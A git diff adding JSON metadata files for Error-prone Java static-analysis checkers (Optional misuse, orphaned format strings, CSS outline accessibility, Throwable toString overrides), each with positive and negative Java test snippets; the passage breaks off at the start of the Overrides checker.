@@ -0,0 +1,62 @@ +{ + "name": "OptionalEquality", + "language": "java", + "description": "Comparison using reference equality instead of value equality", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 41, + "branches": 4, + "apis": 1, + "test": [ + { + "description": "positiveCase_equal", + "expected-problems": null, + "expected-linenumbers": [ + 33 + ], + "code": "import com.google.common.base.Optional;\n\n class Test {\n boolean f(Optional a, Optional b) {\n // BUG: Diagnostic contains: a.equals(b)\n return a == b;\n }\n }" + }, + { + "description": "positiveCase_notEqual", + "expected-problems": null, + "expected-linenumbers": [ + 51 + ], + "code": "import com.google.common.base.Optional;\n\n class Test {\n boolean f(Optional a, Optional b) {\n // BUG: Diagnostic contains: !a.equals(b)\n return a != b;\n }\n }" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 69 + ], + "code": "import com.google.common.base.Optional;\n\n class Test {\n boolean f(Optional b) {\n return b == null;\n }\n }" + }, + { + "description": "maybeNull", + "expected-problems": null, + "expected-linenumbers": [ + 86 + ], + "code": "import com.google.common.base.Optional;\n\n class Test {\n boolean f(Optional a) {\n Optional b = Optional.of(42);\n // BUG: Diagnostic contains: Did you mean 'return Objects.equals(a, b);' or 'return\n // a.equals(b);'?\n return a == b;\n }\n }" + }, + { + "description": "maybeNull_prefersAlreadyImportedHelper", + "expected-problems": null, + "expected-linenumbers": [ + 106 + ], + "code": "import com.google.common.base.Objects;\n import com.google.common.base.Optional;\n\n class Test {\n boolean f(Optional a) {\n Optional b = Optional.of(42);\n // BUG: Diagnostic contains: Did you mean 'return Objects.equal(a, b);' or 'return\n // a.equals(b);'?\n return a == b;\n }\n }" + }, + { + "description": "definitelyNull", + "expected-problems": null, + "expected-linenumbers": [ + 127 + ], + "code": "import com.google.common.base.Optional;\n\n class Test {\n boolean f() {\n Optional a = null;\n Optional b = Optional.of(42);\n // BUG: Diagnostic contains: Did you mean 'return Objects.equals(a, b);'?\n return a == b;\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/OptionalMapToOptional.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/OptionalMapToOptional.json new file mode 100644 index 0000000..3a02a6c --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/OptionalMapToOptional.json @@ -0,0 +1,62 @@ +{ + "name": "OptionalMapToOptional", + "language": "java", + "description": "Mapping to another Optional will yield a nested Optional. Did you mean flatMap?", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 87, + "branches": 7, + "apis": 2, + "test": [ + { + "description": "positiveWithJavaOptional", + "expected-problems": null, + "expected-linenumbers": [ + 28 + ], + "code": "import java.util.Optional;\n\n class Test {\n public boolean test(Optional optional) {\n // BUG: Diagnostic contains:\n return optional.map(i -> Optional.of(1)).isPresent();\n }\n }" + }, + { + "description": "positiveWithGuavaOptional", + "expected-problems": null, + "expected-linenumbers": [ + 46 + ], + "code": "import com.google.common.base.Optional;\n\n class Test {\n public boolean test(Optional optional) {\n // BUG: Diagnostic contains:\n return optional.transform(i -> Optional.of(1)).isPresent();\n }\n }" + }, + { + "description": "positiveReturned", + "expected-problems": null, + "expected-linenumbers": [ + 64 + ], + "code": "import com.google.common.base.Optional;\n\n class Test {\n public Optional> test(Optional optional) {\n // BUG: Diagnostic contains:\n return optional.transform(i -> Optional.of(1));\n }\n }" + }, + { + "description": "negativeFlatMap", + "expected-problems": null, + "expected-linenumbers": [ + 82 + ], + "code": "import java.util.Optional;\n\n class Test {\n public Optional test(Optional optional) {\n return optional.flatMap(i -> Optional.of(1));\n }\n }" + }, + { + "description": "negativeNotToOptional", + "expected-problems": null, + "expected-linenumbers": [ + 99 + ], + "code": "import java.util.Optional;\n\n class Test {\n public Optional test(Optional optional) {\n return optional.map(i -> 1);\n }\n }" + }, + { + "description": "rawOptional", + "expected-problems": null, + "expected-linenumbers": [ + 116 + ], + "code": "import java.util.Optional;\n\n class Test {\n public Optional test(Optional optional) {\n return optional.map(i -> 1);\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/OptionalMapUnusedValue.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/OptionalMapUnusedValue.json new file mode 100644 index 0000000..dd21b48 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/OptionalMapUnusedValue.json @@ -0,0 +1,70 @@ +{ + "name": "OptionalMapUnusedValue", + "language": "java", + "description": "Optional.ifPresent is preferred over Optional.map when the return value is unused", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 62, + "branches": 5, + "apis": 2, + "test": [ + { + "description": "positive_methodReference", + "expected-problems": null, + "expected-linenumbers": [ + 28 + ], + "code": "import java.util.Optional;\n\n class Test {\n private Integer foo(Integer v) {\n return v;\n }\n\n public void bar(Optional optional) {\n optional.map(this::foo);\n }\n }\n \n\n import java.util.Optional;\n\n class Test {\n private Integer foo(Integer v) {\n return v;\n }\n\n public void bar(Optional optional) {\n optional.ifPresent(this::foo);\n }\n }" + }, + { + "description": "positive_statementLambda", + "expected-problems": null, + "expected-linenumbers": [ + 64 + ], + "code": "import java.util.Optional;\n\n class Test {\n private Integer foo(Integer v) {\n return v;\n }\n\n public void bar(Optional optional) {\n optional.map(v -> foo(v));\n }\n }\n \n\n import java.util.Optional;\n\n class Test {\n private Integer foo(Integer v) {\n return v;\n }\n\n public void bar(Optional optional) {\n optional.ifPresent(v -> foo(v));\n }\n }" + }, + { + "description": "negative_resultReturned", + "expected-problems": null, + "expected-linenumbers": [ + 100 + ], + "code": "import java.util.Optional;\n\n class Test {\n private Integer foo(Integer v) {\n return v;\n }\n\n public Optional bar(Optional optional) {\n return optional.map(this::foo);\n }\n }" + }, + { + "description": "negative_resultAssigned", + "expected-problems": null, + "expected-linenumbers": [ + 122 + ], + "code": "import java.util.Optional;\n\n class Test {\n private Integer foo(Integer v) {\n return v;\n }\n\n public void bar(Optional optional) {\n Optional result = optional.map(this::foo);\n }\n }" + }, + { + "description": "negative_resultMethodCall", + "expected-problems": null, + "expected-linenumbers": [ + 144 + ], + "code": "import java.util.Optional;\n\n class Test {\n private Integer foo(Integer v) {\n return v;\n }\n\n public void bar(Optional optional) {\n optional.map(this::foo).orElse(42);\n }\n }" + }, + { + "description": "negative_nonStatementLambda", + "expected-problems": null, + "expected-linenumbers": [ + 166 + ], + "code": "import java.util.Optional;\n\n class Test {\n public void bar(Optional optional) {\n optional.map(v -> v + 1);\n }\n }" + }, + { + "description": "negative_voidIncompatibleLambdaBlock", + "expected-problems": null, + "expected-linenumbers": [ + 184 + ], + "code": "import java.util.Optional;\n\n class Test {\n public void bar(Optional optional) {\n optional.map(\n v -> {\n return 2;\n });\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/OptionalNotPresent.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/OptionalNotPresent.json new file mode 100644 index 0000000..b68795e --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/OptionalNotPresent.json @@ -0,0 +1,78 @@ +{ + "name": "OptionalNotPresent", + "language": "java", + "description": "This Optional has been confirmed to be empty at this point, so the call to `get()` or `orElseThrow()` will always throw.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 140, + "branches": 4, + "apis": 4, + "test": [ + { + "description": "negativeCases", + "expected-problems": null, + "expected-linenumbers": [ + 32 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import java.util.Optional;\n import java.util.function.Predicate;\n\n /** Includes true-negative cases and false-positive cases. */\n public class OptionalNotPresentNegativeCases {\n\n // Test this doesn't trigger NullPointerException\n private final Predicate> asField = o -> !o.isPresent();\n\n // False-positive\n public String getWhenTestedSafe_referenceEquality(Optional optional) {\n if (!optional.isPresent()) {\n if (optional == Optional.of(\"OK\")) { // always false\n // BUG: Diagnostic contains:\n return optional.get();\n }\n }\n return \"\";\n }\n\n // False-positive\n public String getWhenTestedSafe_equals(Optional optional) {\n if (!optional.isPresent()) {\n if (optional.equals(Optional.of(\"OK\"))) { // always false\n // BUG: Diagnostic contains:\n return optional.get();\n }\n }\n return \"\";\n }\n\n public String getWhenPresent_blockReassigned(Optional optional) {\n if (!optional.isPresent()) {\n optional = Optional.of(\"value\");\n return optional.get();\n }\n return \"\";\n }\n\n public String getWhenPresent_localReassigned(Optional optional) {\n if (!optional.isPresent()) {\n optional = Optional.of(\"value\");\n }\n return optional.get();\n }\n\n public String getWhenPresent_nestedCheck(Optional optional) {\n if (!optional.isPresent() || true) {\n return optional.isPresent() ? optional.get() : \"\";\n }\n return \"\";\n }\n }\\" + }, + { + "description": "positiveCases", + "expected-problems": null, + "expected-linenumbers": [ + 97 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import java.util.Optional;\n\n /** Includes true-positive and false-negative cases. */\n public class OptionalNotPresentPositiveCases {\n\n // False-negative\n public String getWhenUnknown(Optional optional) {\n return optional.get();\n }\n\n // False-negative\n public String getWhenUnknown_testNull(Optional optional) {\n if (optional.get() != null) {\n return optional.get();\n }\n return \"\";\n }\n\n // False-negative\n public String getWhenAbsent_testAndNestUnrelated(Optional optional) {\n if (true) {\n String str = optional.get();\n if (!optional.isPresent()) {\n return \"\";\n }\n return str;\n }\n return \"\";\n }\n\n public String getWhenAbsent(Optional testStr) {\n if (!testStr.isPresent()) {\n // BUG: Diagnostic contains:\n return testStr.get();\n }\n return \"\";\n }\n\n public String getWhenAbsent_multipleStatements(Optional optional) {\n if (!optional.isPresent()) {\n String test = \"test\";\n // BUG: Diagnostic contains:\n return test + optional.get();\n }\n return \"\";\n }\n\n public String getWhenAbsent_nestedCheck(Optional optional) {\n if (!optional.isPresent() || true) {\n // BUG: Diagnostic contains:\n return !optional.isPresent() ? optional.get() : \"\";\n }\n return \"\";\n }\n\n public String getWhenAbsent_compoundIf_false(Optional optional) {\n if (!optional.isPresent() && true) {\n // BUG: Diagnostic contains:\n return optional.get();\n }\n return \"\";\n }\n\n // False-negative\n public String getWhenAbsent_compoundIf_true(Optional optional) {\n if (!optional.isPresent() || true) {\n return optional.get();\n }\n return \"\";\n }\n\n public String getWhenAbsent_elseClause(Optional optional) {\n if (optional.isPresent()) {\n return optional.get();\n } else {\n // BUG: Diagnostic contains:\n return optional.get();\n }\n }\n\n // False-negative\n public String getWhenAbsent_localReassigned(Optional optional) {\n if (!optional.isPresent()) {\n optional = Optional.empty();\n }\n return optional.get();\n }\n\n // False-negative\n public String getWhenAbsent_methodScoped(Optional optional) {\n if (optional.isPresent()) {\n return \"\";\n }\n return optional.get();\n }\n }\\" + }, + { + "description": "b80065837", + "expected-problems": null, + "expected-linenumbers": [ + 205 + ], + "code": "import java.util.Optional;\n import java.util.Map;\n\n class Test {\n Optional f(T t) {\n return Optional.ofNullable(t);\n }\n\n int g(Map> m) {\n if (!m.get(\"one\").isPresent()) {\n return m.get(\"two\").get();\n }\n return -1;\n }\n }" + }, + { + "description": "negation_butNotNegatingOptionalCheck", + "expected-problems": null, + "expected-linenumbers": [ + 230 + ], + "code": "import java.util.Optional;\n\n class Test {\n int g(Optional o) {\n if (!equals(this) && o.isPresent()) {\n return o.orElseThrow();\n }\n return -1;\n }\n }" + }, + { + "description": "isEmpty", + "expected-problems": null, + "expected-linenumbers": [ + 250 + ], + "code": "import java.util.Optional;\n\n class Test {\n int g(Optional o) {\n if (o.isEmpty()) {\n // BUG: Diagnostic contains:\n return o.get();\n }\n return -1;\n }\n }" + }, + { + "description": "orElseThrow", + "expected-problems": null, + "expected-linenumbers": [ + 271 + ], + "code": "import java.util.Optional;\n\n class Test {\n int g(Optional o) {\n if (o.isEmpty()) {\n // BUG: Diagnostic contains:\n return o.orElseThrow();\n }\n return -1;\n }\n }" + }, + { + "description": "ternary_good", + "expected-problems": null, + "expected-linenumbers": [ + 292 + ], + "code": "import java.util.Optional;\n\n class Test {\n int g(Optional o) {\n return o.isEmpty() ? 0 : o.get();\n }\n }" + }, + { + "description": "ternary_bad", + "expected-problems": null, + "expected-linenumbers": [ + 309 + ], + "code": "import java.util.Optional;\n\n class Test {\n int g(Optional o) {\n // BUG: Diagnostic contains:\n return o.isEmpty() ? o.get() : 0;\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/OptionalOfRedundantMethod.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/OptionalOfRedundantMethod.json new file mode 100644 index 0000000..2a21ff4 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/OptionalOfRedundantMethod.json @@ -0,0 +1,222 @@ +{ + "name": "OptionalOfRedundantMethod", + "language": "java", + "description": "Optional.of() always returns a non-empty optional. Using ifPresent/isPresent/orElse/orElseGet/orElseThrow/isPresent/or/orNull method on it is unnecessary and most probably a bug.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 128, + "branches": 13, + "apis": 2, + "test": [ + { + "description": "positive_ifPresent", + "expected-problems": null, + "expected-linenumbers": [ + 35 + ], + "code": "import java.util.Optional;\n\n class Test {\n void f() {\n // BUG: Diagnostic contains: ifPresent\n Optional.of(\"test\").ifPresent(String::length);\n }\n }" + }, + { + "description": "positive_ifPresent_refactoring_ofNullableFix", + "expected-problems": null, + "expected-linenumbers": [ + 53 + ], + "code": "import java.util.Optional;\n\n class Test {\n void f() {\n Optional.of(\"test\").ifPresent(String::length);\n }\n }\n \n\n import java.util.Optional;\n\n class Test {\n void f() {\n Optional.ofNullable(\"test\").ifPresent(String::length);\n }\n }" + }, + { + "description": "positive_orElse", + "expected-problems": null, + "expected-linenumbers": [ + 81 + ], + "code": "import java.util.Optional;\n\n class Test {\n void f() {\n // BUG: Diagnostic contains: orElse\n Optional.of(\"test\").orElse(\"test2\");\n }\n }" + }, + { + "description": "positive_orElse_refactoring_ofNullableFix", + "expected-problems": null, + "expected-linenumbers": [ + 99 + ], + "code": "import java.util.Optional;\n\n class Test {\n String f() {\n return Optional.of(\"test\").orElse(\"test2\");\n }\n }\n \n\n import java.util.Optional;\n\n class Test {\n String f() {\n return Optional.ofNullable(\"test\").orElse(\"test2\");\n }\n }" + }, + { + "description": "positive_orElse_refactoring_simplifyExpressionFix", + "expected-problems": null, + "expected-linenumbers": [ + 128 + ], + "code": "import java.util.Optional;\n\n class Test {\n String f() {\n return Optional.of(\"test\").orElse(\"test2\");\n }\n }\n \n\n import java.util.Optional;\n\n class Test {\n String f() {\n return \"test\";\n }\n }" + }, + { + "description": "positive_orElseGet", + "expected-problems": null, + "expected-linenumbers": [ + 157 + ], + "code": "import java.util.Optional;\n\n class Test {\n void f() {\n // BUG: Diagnostic contains: orElseGet\n Optional.of(\"test\").orElseGet(() -> \"test2\");\n }\n }" + }, + { + "description": "positive_orElseGet_refactoring_ofNullableFix", + "expected-problems": null, + "expected-linenumbers": [ + 175 + ], + "code": "import java.util.Optional;\n\n class Test {\n String f() {\n return Optional.of(\"test\").orElseGet(() -> \"test2\");\n }\n }\n \n\n import java.util.Optional;\n\n class Test {\n String f() {\n return Optional.ofNullable(\"test\").orElseGet(() -> \"test2\");\n }\n }" + }, + { + "description": "positive_orElseGet_refactoring_simplifyExpressionFix", + "expected-problems": null, + "expected-linenumbers": [ + 204 + ], + "code": "import java.util.Optional;\n\n class Test {\n String f() {\n return Optional.of(\"test\").orElseGet(() -> \"test2\");\n }\n }\n \n\n import java.util.Optional;\n\n class Test {\n String f() {\n return \"test\";\n }\n }" + }, + { + "description": "positive_orElseThrow", + "expected-problems": null, + "expected-linenumbers": [ + 233 + ], + "code": "import java.util.Optional;\n import com.google.common.collect.ImmutableMap;\n\n class Test {\n static String f(ImmutableMap map) {\n // BUG: Diagnostic contains: orElseThrow\n return Optional.of(map.get(\"test\")).orElseThrow(IllegalArgumentException::new);\n }\n }" + }, + { + "description": "positive_orElseThrow_refactoring_ofNullableFix", + "expected-problems": null, + "expected-linenumbers": [ + 252 + ], + "code": "import java.util.Optional;\n import com.google.common.collect.ImmutableMap;\n\n class Test {\n static String f(ImmutableMap map) {\n return Optional.of(map.get(\"test\")).orElseThrow(IllegalArgumentException::new);\n }\n }\n \n\nimport java.util.Optional;\nimport com.google.common.collect.ImmutableMap;\n\nclass Test {\n static String f(ImmutableMap map) {\n return Optional.ofNullable(map.get(\"test\")).orElseThrow(IllegalArgumentException::new);\n }\n}" + }, + { + "description": "positive_orElseThrow_refactoring_simplifyExpressionFix", + "expected-problems": null, + "expected-linenumbers": [ + 283 + ], + "code": "import java.util.Optional;\n import com.google.common.collect.ImmutableMap;\n\n class Test {\n static String f(ImmutableMap map) {\n return Optional.of(map.get(\"test\")).orElseThrow(IllegalArgumentException::new);\n }\n }\n \n\n import java.util.Optional;\n import com.google.common.collect.ImmutableMap;\n\n class Test {\n static String f(ImmutableMap map) {\n return map.get(\"test\");\n }\n }" + }, + { + "description": "positive_isPresent", + "expected-problems": null, + "expected-linenumbers": [ + 314 + ], + "code": "import java.util.Optional;\n\n class Test {\n void f() {\n // BUG: Diagnostic contains: isPresent\n if (Optional.of(\"test\").isPresent()) {}\n }\n }" + }, + { + "description": "positive_isPresent_refactoring_ofNullableFix", + "expected-problems": null, + "expected-linenumbers": [ + 332 + ], + "code": "import java.util.Optional;\n\n class Test {\n void f() {\n if (Optional.of(\"test\").isPresent()) {}\n }\n }\n \n\n import java.util.Optional;\n\n class Test {\n void f() {\n if (Optional.ofNullable(\"test\").isPresent()) {}\n }\n }" + }, + { + "description": "positive_isPresent_refactoring_simplifyExpressionFix", + "expected-problems": null, + "expected-linenumbers": [ + 361 + ], + "code": "import java.util.Optional;\n\n class Test {\n void f() {\n if (Optional.of(\"test\").isPresent()) {}\n }\n }\n \n\n import java.util.Optional;\n\n class Test {\n void f() {\n if (true) {}\n }\n }" + }, + { + "description": "positive_guavaIsPresent", + "expected-problems": null, + "expected-linenumbers": [ + 390 + ], + "code": "import com.google.common.base.Optional;\n\n class Test {\n void f() {\n // BUG: Diagnostic contains: isPresent\n Optional.of(\"test\").isPresent();\n }\n }" + }, + { + "description": "positive_guavaIsPresent_refactoring_fromNullableFix", + "expected-problems": null, + "expected-linenumbers": [ + 408 + ], + "code": "import com.google.common.base.Optional;\n\n class Test {\n void f() {\n Optional.of(\"test\").isPresent();\n }\n }\n \n\n import com.google.common.base.Optional;\n\n class Test {\n void f() {\n Optional.fromNullable(\"test\").isPresent();\n }\n }" + }, + { + "description": "positive_guavaIsPresent_refactoring_simplifyExpressionFix", + "expected-problems": null, + "expected-linenumbers": [ + 437 + ], + "code": "import com.google.common.base.Optional;\n\n class Test {\n void f() {\n if (Optional.of(\"test\").isPresent()) {}\n }\n }\n \n\n import com.google.common.base.Optional;\n\n class Test {\n void f() {\n if (true) {}\n }\n }" + }, + { + "description": "positive_guavaOr", + "expected-problems": null, + "expected-linenumbers": [ + 466 + ], + "code": "import com.google.common.base.Optional;\n\n class Test {\n void f() {\n // BUG: Diagnostic contains: or\n Optional.of(\"test\").or(\"\");\n }\n }" + }, + { + "description": "positive_guavaOr_refactoring_fromNullableFix", + "expected-problems": null, + "expected-linenumbers": [ + 484 + ], + "code": "import com.google.common.base.Optional;\n\n class Test {\n void f() {\n Optional.of(\"test\").or(\"\");\n }\n }\n \n\n import com.google.common.base.Optional;\n\n class Test {\n void f() {\n Optional.fromNullable(\"test\").or(\"\");\n }\n }" + }, + { + "description": "positive_guavaOr_refactoring_simplifyExpressionFix", + "expected-problems": null, + "expected-linenumbers": [ + 513 + ], + "code": "import com.google.common.base.Optional;\n\n class Test {\n String f() {\n return Optional.of(\"test\").or(\"\");\n }\n }\n \n\n import com.google.common.base.Optional;\n\n class Test {\n String f() {\n return \"test\";\n }\n }" + }, + { + "description": "positive_guavaOrNull", + "expected-problems": null, + "expected-linenumbers": [ + 542 + ], + "code": "import com.google.common.base.Optional;\n\n class Test {\n void f() {\n // BUG: Diagnostic contains: orNull\n Optional.of(\"test\").orNull();\n }\n }" + }, + { + "description": "positive_guavaOrNull_refactoring_fromNullableFix", + "expected-problems": null, + "expected-linenumbers": [ + 560 + ], + "code": "import com.google.common.base.Optional;\n\n class Test {\n void f() {\n Optional.of(\"test\").orNull();\n }\n }\n \n\n import com.google.common.base.Optional;\n\n class Test {\n void f() {\n Optional.fromNullable(\"test\").orNull();\n }\n }" + }, + { + "description": "positive_guavaOrNull_refactoring_simplifyExpressionFix", + "expected-problems": null, + "expected-linenumbers": [ + 589 + ], + "code": "import com.google.common.base.Optional;\n\n class Test {\n String f() {\n return Optional.of(\"test\").orNull();\n }\n }\n \n\n import com.google.common.base.Optional;\n\n class Test {\n String f() {\n return \"test\";\n }\n }" + }, + { + "description": "negative_ifPresent", + "expected-problems": null, + "expected-linenumbers": [ + 618 + ], + "code": "import java.util.Optional;\n\n class Test {\n void f(Optional maybeString) {\n maybeString.ifPresent(String::length);\n }\n }" + }, + { + "description": "negative_orElse", + "expected-problems": null, + "expected-linenumbers": [ + 635 + ], + "code": "import java.util.Optional;\n\n class Test {\n void f(String value) {\n Optional.of(value).filter(x -> x.length() < 5).orElse(\"test\");\n }\n }" + }, + { + "description": "negative_guavaIsPresent", + "expected-problems": null, + "expected-linenumbers": [ + 652 + ], + "code": "import com.google.common.base.Optional;\n\n class Test {\n boolean f(Optional maybeString) {\n return maybeString.isPresent();\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/OrphanedFormatString.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/OrphanedFormatString.json new file mode 100644 index 0000000..618a4cf --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/OrphanedFormatString.json @@ -0,0 +1,70 @@ +{ + "name": "OrphanedFormatString", + "language": "java", + "description": "String literal contains format specifiers, but is not passed to a format method", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 150, + "branches": 16, + "apis": 2, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "class Test {\n void f() {\n // BUG: Diagnostic contains:\n System.err.println(\"%s\");\n // BUG: Diagnostic contains:\n new Exception(\"%s\");\n // BUG: Diagnostic contains:\n new StringBuilder(\"%s\");\n // BUG: Diagnostic contains:\n new StringBuilder().append(\"%s\", 0, 0);\n }\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 53 + ], + "code": "class Test {\n static class FormatException extends Exception {\n FormatException(String f, Object... xs) {\n super(String.format(f, xs));\n }\n }\n\n void f() {\n String s = \"%s\";\n new FormatException(\"%s\");\n System.err.printf(\"%s\");\n }\n\n void appendToStringBuilder(StringBuilder b) {\n b.append(\"%s\");\n }\n }" + }, + { + "description": "formatMethod", + "expected-problems": null, + "expected-linenumbers": [ + 80 + ], + "code": "" + }, + { + "description": "spaceAfterPercent", + "expected-problems": null, + "expected-linenumbers": [ + 115 + ], + "code": "class Test {\n void f() {\n // BUG: Diagnostic contains:\n StringBuilder messageBuilder = new StringBuilder(\"more than 50% finished\");\n }\n }" + }, + { + "description": "assertWithMessage", + "expected-problems": null, + "expected-linenumbers": [ + 131 + ], + "code": "import static com.google.common.truth.Truth.assertWithMessage;\n\n class Test {\n void test() {\n // BUG: Diagnostic contains:\n assertWithMessage(\"%s\").that(\"\").isNull();\n }\n }" + }, + { + "description": "flogger", + "expected-problems": null, + "expected-linenumbers": [ + 149 + ], + "code": "import com.google.common.flogger.FluentLogger;\n\n class Test {\n private static final FluentLogger logger = FluentLogger.forEnclosingClass();\n\n public void f() {\n // BUG: Diagnostic contains:\n logger.atInfo().log(\"hello %d\");\n }\n }" + }, + { + "description": "negativeFlogger", + "expected-problems": null, + "expected-linenumbers": [ + 169 + ], + "code": "import com.google.common.flogger.FluentLogger;\n\n class Test {\n private static final FluentLogger logger = FluentLogger.forEnclosingClass();\n\n public void f(String arg) {\n logger.atInfo().log(\"hello %d\", arg);\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/OutlineNone.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/OutlineNone.json new file mode 100644 index 0000000..ff7814f --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/OutlineNone.json @@ -0,0 +1,46 @@ +{ + "name": "OutlineNone", + "language": "java", + "description": "Setting CSS outline style to none or 0 (while not otherwise providing visual focus indicators) is inaccessible for users navigating a web page without a mouse.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 105, + "branches": 10, + "apis": 2, + "test": [ + { + "description": "template", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "import com.google.gwt.safehtml.shared.SafeHtml;\nimport com.google.gwt.safehtml.client.SafeHtmlTemplates.Template;\n\ninterface Test {\n // BUG: Diagnostic contains: OutlineNone\n @Template(\n \".body {color: red;outline: 0px;}\")\n SafeHtml myElement();\n\n // BUG: Diagnostic contains: OutlineNone\n @Template(\".invisible {outline: none}\")\n SafeHtml invisible();\n}" + }, + { + "description": "templateMutliline", + "expected-problems": null, + "expected-linenumbers": [ + 54 + ], + "code": "import com.google.gwt.safehtml.shared.SafeHtml;\nimport com.google.gwt.safehtml.client.SafeHtmlTemplates.Template;\n\ninterface Test {\n // BUG: Diagnostic contains: OutlineNone\n @Template(\".body {color: red;}\\\\n\" + \"\")\n SafeHtml myElement();\n}" + }, + { + "description": "gwtSetProperty", + "expected-problems": null, + "expected-linenumbers": [ + 72 + ], + "code": "" + }, + { + "description": "gwtSetProperty_numberTypes", + "expected-problems": null, + "expected-linenumbers": [ + 94 + ], + "code": "" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/OverrideThrowableToString.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/OverrideThrowableToString.json new file mode 100644 index 0000000..6122af1 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/OverrideThrowableToString.json @@ -0,0 +1,46 @@ +{ + "name": "OverrideThrowableToString", + "language": "java", + "description": "To return a custom message with a Throwable class, one should override getMessage() instead of toString().", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 58, + "branches": 4, + "apis": 1, + "test": [ + { + "description": "positiveCases", + "expected-problems": null, + "expected-linenumbers": [ + 33 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n /**\n * @author mariasam@google.com (Maria Sam)\n */\n class OverrideThrowableToStringPositiveCases {\n\n class BasicTest extends Throwable {\n\n @Override\n // BUG: Diagnostic contains: override\n public String toString() {\n return \"\";\n }\n }\n\n class MultipleMethods extends Throwable {\n\n public MultipleMethods() {\n ;\n }\n\n @Override\n // BUG: Diagnostic contains: override\n public String toString() {\n return \"\";\n }\n }\n\n class NoOverride extends Throwable {\n\n // BUG: Diagnostic contains: override\n public String toString() {\n return \"\";\n }\n }\n }\\" + }, + { + "description": "negativeCases", + "expected-problems": null, + "expected-linenumbers": [ + 80 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n /**\n * @author mariasam@google.com (Maria Sam)\n */\n public class OverrideThrowableToStringNegativeCases {\n\n class BasicTest extends Throwable {}\n\n class OtherToString {\n public String toString() {\n return \"\";\n }\n }\n\n class NoToString extends Throwable {\n public void test() {\n System.out.println(\"test\");\n }\n }\n\n class GetMessage extends Throwable {\n public String getMessage() {\n return \"\";\n }\n }\n\n class OverridesBoth extends Throwable {\n public String toString() {\n return \"\";\n }\n\n public String getMessage() {\n return \"\";\n }\n }\n }\\" + }, + { + "description": "fixes", + "expected-problems": null, + "expected-linenumbers": [ + 127 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n /**\n * @author mariasam@google.com (Maria Sam)\n */\n class OverrideThrowableToStringPositiveCases {\n\n class BasicTest extends Throwable {\n\n @Override\n // BUG: Diagnostic contains: override\n public String toString() {\n return \"\";\n }\n }\n\n class MultipleMethods extends Throwable {\n\n public MultipleMethods() {\n ;\n }\n\n @Override\n // BUG: Diagnostic contains: override\n public String toString() {\n return \"\";\n }\n }\n\n class NoOverride extends Throwable {\n\n // BUG: Diagnostic contains: override\n public String toString() {\n return \"\";\n }\n }\n }\\\n \n\n package com.google.errorprone.bugpatterns.testdata;\n\n /**\n * @author mariasam@google.com (Maria Sam)\n */\n class OverrideThrowableToStringPositiveCases {\n\n // BUG: Diagnostic contains: override\n class BasicTest extends Throwable {\n\n @Override\n public String getMessage() {\n return \"\";\n }\n }\n\n class MultipleMethods extends Throwable {\n\n public MultipleMethods() {\n ;\n }\n\n @Override\n public String getMessage() {\n return \"\";\n }\n }\n\n class NoOverride extends Throwable {\n\n public String getMessage() {\n return \"\";\n }\n }\n }\\" + }, + { + "description": "suppressionOnMethod", + "expected-problems": null, + "expected-linenumbers": [ + 213 + ], + "code": "class Test extends Throwable {\n\n @SuppressWarnings(\"OverrideThrowableToString\")\n @Override\n public String toString() {\n return \"\";\n }\n }\\" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/Overrides.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/Overrides.json new file mode 100644 index 0000000..6f81626 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/Overrides.json @@ -0,0 +1,78 @@ +{ + "name": "Overrides", + "language": "java", + "description": "Varargs doesn't agree for overridden method", + "example": 